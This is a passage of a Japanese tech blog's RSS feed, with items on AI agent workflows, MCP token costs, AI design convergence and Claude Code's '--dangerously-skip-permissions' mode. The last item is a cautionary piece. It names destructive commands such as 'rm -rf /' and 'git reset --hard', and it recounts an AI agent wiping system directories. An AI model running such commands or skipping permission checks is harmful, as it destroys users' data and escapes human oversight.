&lt;th&gt;Pull Request&lt;/th&gt;
&lt;th&gt;Prompt Request&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発者の作業&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コードを書いて PR を作成する&lt;/td&gt;
&lt;td&gt;GitHub Issue に意図を書く&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;実装の担い手&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人間の開発者&lt;/td&gt;
&lt;td&gt;AI エージェント&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;レビュー&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人間がコードレビュー&lt;/td&gt;
&lt;td&gt;AI がピアレビュー + 人間が最終確認&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;マージ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人間が判断してマージ&lt;/td&gt;
&lt;td&gt;条件を満たせば自動マージ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;所要時間&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;数時間〜数日&lt;/td&gt;
&lt;td&gt;5〜15 分&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;PR がコードの差分を中心とした「成果物の提出」であるのに対し、Prompt Request は「意図の伝達」が起点になります。開発者が書くのはコードではなく、何をしたいかという自然言語の指示です。&lt;/p&gt;
&lt;h2 id="ワークフローの全体像"&gt;ワークフローの全体像&lt;/h2&gt;
&lt;p&gt;記事で提案されているワークフローは次のとおりです。&lt;/p&gt;</description></item><item><title>Second Me — AI に「自分の分身」を持つ時代と OpenClaw との本質的な違い</title><link>https://hdknr.github.io/blogs/posts/2026/03/second-me-ai-%E3%81%AB%E8%87%AA%E5%88%86%E3%81%AE%E5%88%86%E8%BA%AB%E3%82%92%E6%8C%81%E3%81%A4%E6%99%82%E4%BB%A3%E3%81%A8-openclaw-%E3%81%A8%E3%81%AE%E6%9C%AC%E8%B3%AA%E7%9A%84%E3%81%AA%E9%81%95%E3%81%84/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/second-me-ai-%E3%81%AB%E8%87%AA%E5%88%86%E3%81%AE%E5%88%86%E8%BA%AB%E3%82%92%E6%8C%81%E3%81%A4%E6%99%82%E4%BB%A3%E3%81%A8-openclaw-%E3%81%A8%E3%81%AE%E6%9C%AC%E8%B3%AA%E7%9A%84%E3%81%AA%E9%81%95%E3%81%84/</guid><description>&lt;h1 id="second-me--ai-に自分の分身を持つ時代と-openclaw-との本質的な違い"&gt;Second Me — AI に「自分の分身」を持つ時代と OpenClaw との本質的な違い&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://gist.github.com/hdknr/8f10c70d04ed25f68a744081c16baa76"&gt;前回の記事&lt;/a&gt;で OpenClaw による 13 体 AI チーム構築を紹介しました。OpenClaw では SOUL.md というファイルでエージェントの「人格」を定義しますが、これは本当に「自分の分身」と呼べるのでしょうか。Second Me というプロジェクトは、まったく異なるアプローチで「AI による自分の分身」を実現しようとしています。&lt;/p&gt;
&lt;h2 id="soulmd-の限界--指示書は分身ではない"&gt;SOUL.md の限界 — 「指示書」は「分身」ではない&lt;/h2&gt;
&lt;p&gt;OpenClaw の SOUL.md は Markdown で書かれた設定ファイルです。エージェントの名前、性格、役割、制約を自然言語で記述します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;name: sales-agent
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;model: claude-sonnet-4-6
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;あなたは営業チームの一員です。丁寧に話してください。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## 役割
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; リード情報の整理と優先順位付け
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 提案メールの下書き作成
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;これは強力な仕組みですが、あくまで&lt;strong&gt;外から与える指示書&lt;/strong&gt;です。「営業エージェントをこう振る舞わせたい」という設計者の意図を反映したものであり、「この人ならどう考えるか」を再現するものではありません。&lt;/p&gt;</description></item><item><title># 組織の課題管理から個人のタスク整理と優先度づけへ — Claude Code によるタスクトリアージ</title><link>https://hdknr.github.io/blogs/posts/2026/03/%23-%E7%B5%84%E7%B9%94%E3%81%AE%E8%AA%B2%E9%A1%8C%E7%AE%A1%E7%90%86%E3%81%8B%E3%82%89%E5%80%8B%E4%BA%BA%E3%81%AE%E3%82%BF%E3%82%B9%E3%82%AF%E6%95%B4%E7%90%86%E3%81%A8%E5%84%AA%E5%85%88%E5%BA%A6%E3%81%A5%E3%81%91%E3%81%B8-claude-code-%E3%81%AB%E3%82%88%E3%82%8B%E3%82%BF%E3%82%B9%E3%82%AF%E3%83%88%E3%83%AA%E3%82%A2%E3%83%BC%E3%82%B8/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%23-%E7%B5%84%E7%B9%94%E3%81%AE%E8%AA%B2%E9%A1%8C%E7%AE%A1%E7%90%86%E3%81%8B%E3%82%89%E5%80%8B%E4%BA%BA%E3%81%AE%E3%82%BF%E3%82%B9%E3%82%AF%E6%95%B4%E7%90%86%E3%81%A8%E5%84%AA%E5%85%88%E5%BA%A6%E3%81%A5%E3%81%91%E3%81%B8-claude-code-%E3%81%AB%E3%82%88%E3%82%8B%E3%82%BF%E3%82%B9%E3%82%AF%E3%83%88%E3%83%AA%E3%82%A2%E3%83%BC%E3%82%B8/</guid><description>&lt;h1 id="組織の課題管理から個人のタスク整理と優先度づけへ--claude-code-によるタスクトリアージ"&gt;組織の課題管理から個人のタスク整理と優先度づけへ — Claude Code によるタスクトリアージ&lt;/h1&gt;
&lt;h2 id="各システムの役割と利用者"&gt;各システムの役割と利用者&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;システム&lt;/th&gt;
&lt;th&gt;主な利用者&lt;/th&gt;
&lt;th&gt;目的&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Backlog&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;利用者側の責任者・管理部門&lt;/td&gt;
&lt;td&gt;利用者が課題を把握・確認するため&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Asana&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;開発会社の PM・経営者&lt;/td&gt;
&lt;td&gt;開発会社の責任者が状況を把握するため&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;開発担当者&lt;/td&gt;
&lt;td&gt;作業担当者が実装・コード変更を管理するため&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="3層の責任構造"&gt;3層の責任構造&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;利用者（顧客） 開発会社（経営・PM） 開発会社（作業担当）
│ │ │
Backlog Asana GitHub
課題確認会で 経営判断・ Issue/PR で
進捗レビュー リソース配分 実装を管理
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;各システムは&lt;strong&gt;異なるステークホルダーが、それぞれの責任範囲で状況を把握する&lt;/strong&gt;ために存在する。
これは冗長ではなく、&lt;strong&gt;報告先ごとに適切な粒度・視点で情報を提供する&lt;/strong&gt;ための構造。&lt;/p&gt;
&lt;h2 id="担当者の課題-今何をすべきかの判断"&gt;担当者の課題: 「今何をすべきか」の判断&lt;/h2&gt;
&lt;p&gt;3システムはどれも&lt;strong&gt;他者への報告用&lt;/strong&gt;であって、担当者が「自分が次に何をやるか」を整理する場所ではない。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;システム&lt;/th&gt;
&lt;th&gt;読者&lt;/th&gt;
&lt;th&gt;自分の優先度確認に使えるか&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Backlog&lt;/td&gt;
&lt;td&gt;利用者の責任者&lt;/td&gt;
&lt;td&gt;△ 顧客視点の優先度であって自分の作業順ではない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Asana&lt;/td&gt;
&lt;td&gt;開発会社の経営・PM&lt;/td&gt;
&lt;td&gt;△ 経営視点のフィルタがかかっている&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub (epm-server)&lt;/td&gt;
&lt;td&gt;作業担当者&lt;/td&gt;
&lt;td&gt;△ Issue は技術タスク単位で、全体俯瞰しにくい&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="解決策-claude-code-でタスクトリアージ--プライベートリポジトリの-issue-に記録"&gt;解決策: Claude Code でタスクトリアージ → プライベートリポジトリの Issue に記録&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;タスクトリアージ（状況分析と優先度づけ）は Claude Code セッション&lt;/strong&gt;で行い、&lt;strong&gt;結論の記録先は社内プライベートリポジトリの GitHub Issue&lt;/strong&gt; に置く。&lt;/p&gt;</description></item><item><title>MCP のトークン消費問題 — スキーマ注入で 55,000 トークン、CLI は 35 倍効率的</title><link>https://hdknr.github.io/blogs/posts/2026/03/mcp-%E3%81%AE%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3%E6%B6%88%E8%B2%BB%E5%95%8F%E9%A1%8C-%E3%82%B9%E3%82%AD%E3%83%BC%E3%83%9E%E6%B3%A8%E5%85%A5%E3%81%A7-55000-%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3cli-%E3%81%AF-35-%E5%80%8D%E5%8A%B9%E7%8E%87%E7%9A%84/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mcp-%E3%81%AE%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3%E6%B6%88%E8%B2%BB%E5%95%8F%E9%A1%8C-%E3%82%B9%E3%82%AD%E3%83%BC%E3%83%9E%E6%B3%A8%E5%85%A5%E3%81%A7-55000-%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3cli-%E3%81%AF-35-%E5%80%8D%E5%8A%B9%E7%8E%87%E7%9A%84/</guid><description>&lt;h1 id="mcp-のトークン消費問題--スキーマ注入で-55000-トークンcli-は-35-倍効率的"&gt;MCP のトークン消費問題 — スキーマ注入で 55,000 トークン、CLI は 35 倍効率的&lt;/h1&gt;
&lt;p&gt;Claude Code や OpenClaw で MCP（Model Context Protocol）を使っている方に知ってほしい事実があります。MCP はスキーマ注入だけで数万トークンを消費しており、同じタスクを CLI 経由で実行すると &lt;strong&gt;35 倍効率的&lt;/strong&gt; になるケースがあるのです。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/SuguruKun_ai/status/2026958295857344532"&gt;@SuguruKun_ai さんのポスト&lt;/a&gt; と &lt;a href="https://x.com/shinzizm2/status/2026976707983684021"&gt;@shinzizm2 さんのポスト&lt;/a&gt; でこの問題が指摘され、大きな反響を呼びました。&lt;/p&gt;
&lt;h2 id="mcp-のトークン消費問題とは"&gt;MCP のトークン消費問題とは&lt;/h2&gt;
&lt;h3 id="スキーマ注入の仕組み"&gt;スキーマ注入の仕組み&lt;/h3&gt;
&lt;p&gt;MCP サーバーを接続すると、&lt;strong&gt;ツール定義（スキーマ）がシステムプロンプトに注入&lt;/strong&gt;されます。これは AI が「どんなツールを使えるか」を理解するために必要な情報ですが、この定義自体が大量のトークンを消費します。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;MCP サーバー接続時の処理:
1. tools/list でツール一覧を取得
2. 各ツールの名前、説明、パラメータ定義を取得
3. 全てのスキーマをプロンプトに注入 ← ここで大量消費
4. ユーザーの質問に回答
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;あなたが何も入力する前に、スキーマだけでトークンが消費されている&lt;/strong&gt;のです。&lt;/p&gt;
&lt;h3 id="具体的な数値"&gt;具体的な数値&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;MCP サーバー&lt;/th&gt;
&lt;th&gt;ツール数&lt;/th&gt;
&lt;th&gt;トークン消費量&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GitHub MCP サーバー&lt;/td&gt;
&lt;td&gt;93 ツール&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;約 55,000 トークン&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Notion サーバー&lt;/td&gt;
&lt;td&gt;15+ ツール&lt;/td&gt;
&lt;td&gt;約 8,000 トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ファイルシステム&lt;/td&gt;
&lt;td&gt;10 ツール&lt;/td&gt;
&lt;td&gt;約 4,000 トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;平均的なツール定義&lt;/td&gt;
&lt;td&gt;1 ツール&lt;/td&gt;
&lt;td&gt;300〜600 トークン&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;GitHub MCP サーバーの場合、93 ツール分のスキーマには &lt;code&gt;owner&lt;/code&gt;、&lt;code&gt;repo&lt;/code&gt;、&lt;code&gt;title&lt;/code&gt; 等のプロパティ定義、&lt;code&gt;required&lt;/code&gt; フィールド、入出力スキーマが全て含まれます。&lt;/p&gt;</description></item><item><title>なぜ AI は同じ紫グラデーションのサイトを作るのか — 分布的収束と Skills による脱却</title><link>https://hdknr.github.io/blogs/posts/2026/02/%E3%81%AA%E3%81%9C-ai-%E3%81%AF%E5%90%8C%E3%81%98%E7%B4%AB%E3%82%B0%E3%83%A9%E3%83%87%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%AE%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E4%BD%9C%E3%82%8B%E3%81%AE%E3%81%8B-%E5%88%86%E5%B8%83%E7%9A%84%E5%8F%8E%E6%9D%9F%E3%81%A8-skills-%E3%81%AB%E3%82%88%E3%82%8B%E8%84%B1%E5%8D%B4/</link><pubDate>Sat, 28 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%E3%81%AA%E3%81%9C-ai-%E3%81%AF%E5%90%8C%E3%81%98%E7%B4%AB%E3%82%B0%E3%83%A9%E3%83%87%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%AE%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E4%BD%9C%E3%82%8B%E3%81%AE%E3%81%8B-%E5%88%86%E5%B8%83%E7%9A%84%E5%8F%8E%E6%9D%9F%E3%81%A8-skills-%E3%81%AB%E3%82%88%E3%82%8B%E8%84%B1%E5%8D%B4/</guid><description>&lt;h1 id="なぜ-ai-は同じ紫グラデーションのサイトを作るのか--分布的収束と-skills-による脱却"&gt;なぜ AI は同じ紫グラデーションのサイトを作るのか — 分布的収束と Skills による脱却&lt;/h1&gt;
&lt;p&gt;「AI にランディングページを作らせると、どれも同じに見える」&lt;/p&gt;
&lt;p&gt;Inter フォント、白背景に紫グラデーション、角丸カード、3カラムのアイコン付きグリッド — いわゆる &lt;strong&gt;AI スロップ（AI slop）&lt;/strong&gt; と呼ばれるこの現象には、明確な技術的原因があります。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/awakia/status/2027305851267252366"&gt;@awakia さんのポスト&lt;/a&gt; では、Anthropic が公式ブログで解説した &lt;strong&gt;分布的収束（Distributional Convergence）&lt;/strong&gt; という概念と、その解決策としての &lt;strong&gt;Skills&lt;/strong&gt; アプローチを紹介しています。差を生むのはモデルの性能ではなく「方向付け」だという指摘は、AI を使ったフロントエンド開発に携わる全ての人にとって重要な示唆です。&lt;/p&gt;
&lt;h2 id="分布的収束distributional-convergenceとは"&gt;分布的収束（Distributional Convergence）とは&lt;/h2&gt;
&lt;p&gt;LLM はトークンの出現確率に基づいてテキストを生成します。フロントエンドのコード生成においても同じ原理が働きます。&lt;/p&gt;
&lt;p&gt;学習データには膨大な数の Web サイトのソースコードが含まれていますが、その中で &lt;strong&gt;最も頻出する「安全な」選択肢&lt;/strong&gt; が統計的に支配的です。結果として、指示なしで「ランディングページを作って」と頼むと、学習データの &lt;strong&gt;中央値&lt;/strong&gt; に収束した出力が生成されます。&lt;/p&gt;
&lt;h3 id="なぜ紫なのか"&gt;なぜ「紫」なのか&lt;/h3&gt;
&lt;p&gt;この疑問には具体的な答えがあります。約 5 年前、Tailwind CSS のデフォルトボタンカラーが &lt;code&gt;indigo-500&lt;/code&gt; に設定されました。その後、GitHub 上に大量の Tailwind チュートリアルやサンプルコードが蓄積されました。AI に制約なしで「ランディングページを作って」と指示すると、&lt;strong&gt;2019 年から 2024 年にかけてスクレイピングされた Tailwind CSS チュートリアルの中央値&lt;/strong&gt;を得ることになります。そして、その中央値が紫なのです。&lt;/p&gt;
&lt;h3 id="ai-スロップの典型パターン"&gt;AI スロップの典型パターン&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;要素&lt;/th&gt;
&lt;th&gt;AI スロップの典型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;フォント&lt;/td&gt;
&lt;td&gt;Inter, Roboto, Arial, system fonts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;配色&lt;/td&gt;
&lt;td&gt;白背景 + 紫/インディゴグラデーション&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;レイアウト&lt;/td&gt;
&lt;td&gt;3カラムのカード型グリッド&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;角丸&lt;/td&gt;
&lt;td&gt;控えめだが均一な rounded-lg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;アニメーション&lt;/td&gt;
&lt;td&gt;なし、または最小限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;背景&lt;/td&gt;
&lt;td&gt;単色（白 or 薄いグレー）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これは「悪い」デザインではなく、&lt;strong&gt;統計的に平均的な&lt;/strong&gt;デザインです。どのプロジェクトにも合いそうで、どのプロジェクトにも合わない — そういう出力になります。&lt;/p&gt;</description></item><item><title># Claude Code の「YOLO モード」を安全に使う — dangerously-skip-permissions と Docker 活用</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-code-%E3%81%AEyolo-%E3%83%A2%E3%83%BC%E3%83%89%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E4%BD%BF%E3%81%86-dangerously-skip-permissions-%E3%81%A8-docker-%E6%B4%BB%E7%94%A8/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-code-%E3%81%AEyolo-%E3%83%A2%E3%83%BC%E3%83%89%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E4%BD%BF%E3%81%86-dangerously-skip-permissions-%E3%81%A8-docker-%E6%B4%BB%E7%94%A8/</guid><description>&lt;h1 id="claude-code-のyolo-モードを安全に使う--dangerously-skip-permissions-と-docker-活用"&gt;Claude Code の「YOLO モード」を安全に使う — dangerously-skip-permissions と Docker 活用&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;関連ポスト: &lt;a href="https://x.com/hiragram/status/2026106377169666406"&gt;hiragram&lt;/a&gt;
リポジトリ: &lt;a href="https://github.com/hiragram/claude-docker"&gt;hiragram/claude-docker&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;Claude Code を使っていると、ファイル編集やコマンド実行のたびに「これを実行してもいいですか？」と確認を求められる。安全設計として正しいが、反復的な作業では毎回の承認が煩わしくなる。&lt;/p&gt;
&lt;p&gt;そこで登場するのが &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; フラグ。通称「&lt;strong&gt;YOLO モード&lt;/strong&gt;」。YOLO とは &lt;strong&gt;&amp;ldquo;You Only Live Once&amp;rdquo;（人生は一度きり）&lt;/strong&gt; の略で、「結果を気にせず、とにかくやってしまえ」というネットスラング。安全確認を一切スキップして全操作をぶっ通しで実行させる様子が、まさに「後先考えずに突っ走る」YOLOの精神そのものであることから、コミュニティでこう呼ばれるようになった。&lt;/p&gt;
&lt;p&gt;便利だが、名前の通り危険も伴う。このフラグの本質と、安全に使うための Docker 活用について整理する。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="--dangerously-skip-permissions-とは"&gt;&lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; とは&lt;/h2&gt;
&lt;p&gt;Claude Code の&lt;strong&gt;全てのパーミッションチェック（権限確認プロンプト）をバイパス&lt;/strong&gt;し、完全に自律動作させるフラグ。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;claude --dangerously-skip-permissions
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="3つの動作モードの比較"&gt;3つの動作モードの比較&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モード&lt;/th&gt;
&lt;th&gt;挙動&lt;/th&gt;
&lt;th&gt;ユーザー介入&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;通常モード&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ファイル変更・コマンド実行のたびに承認を要求&lt;/td&gt;
&lt;td&gt;毎回必要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auto-Accept&lt;/strong&gt; (Shift+Tab)&lt;/td&gt;
&lt;td&gt;UI上で承認を自動化&lt;/td&gt;
&lt;td&gt;介入可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;dangerously-skip-permissions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;全ての安全ガードレールを除去&lt;/td&gt;
&lt;td&gt;一切不要&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="なぜdangerouslyと名付けられているのか"&gt;なぜ「dangerously」と名付けられているのか&lt;/h3&gt;
&lt;p&gt;Anthropic が意図的に「危険」という語を含めている。実際にリスクは深刻で、以下のような報告がある。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wolak 事件（2025年10月）&lt;/strong&gt;: Ubuntu/WSL2 上で Claude Code が &lt;code&gt;rm -rf /&lt;/code&gt; を実行し、&lt;code&gt;/bin&lt;/code&gt;、&lt;code&gt;/boot&lt;/code&gt;、&lt;code&gt;/etc&lt;/code&gt; などシステムディレクトリを破壊&lt;/li&gt;
&lt;li&gt;eesel AI の調査によると、このフラグ使用者の &lt;strong&gt;32%&lt;/strong&gt; が意図しないファイル変更を経験、&lt;strong&gt;9%&lt;/strong&gt; が実際のデータ損失を報告&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="主なリスク"&gt;主なリスク&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;リスク&lt;/th&gt;
&lt;th&gt;具体例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;破壊的コマンドの無確認実行&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rm -rf&lt;/code&gt;、&lt;code&gt;git reset --hard&lt;/code&gt;、設定ファイル上書き&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;スコープクリープ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;指定範囲外のファイルを「親切心」で変更・削除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;資格情報の漏洩&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ホストの全資格情報にアクセス可能な状態&lt;/td&gt;
&lt;/tr&gt;
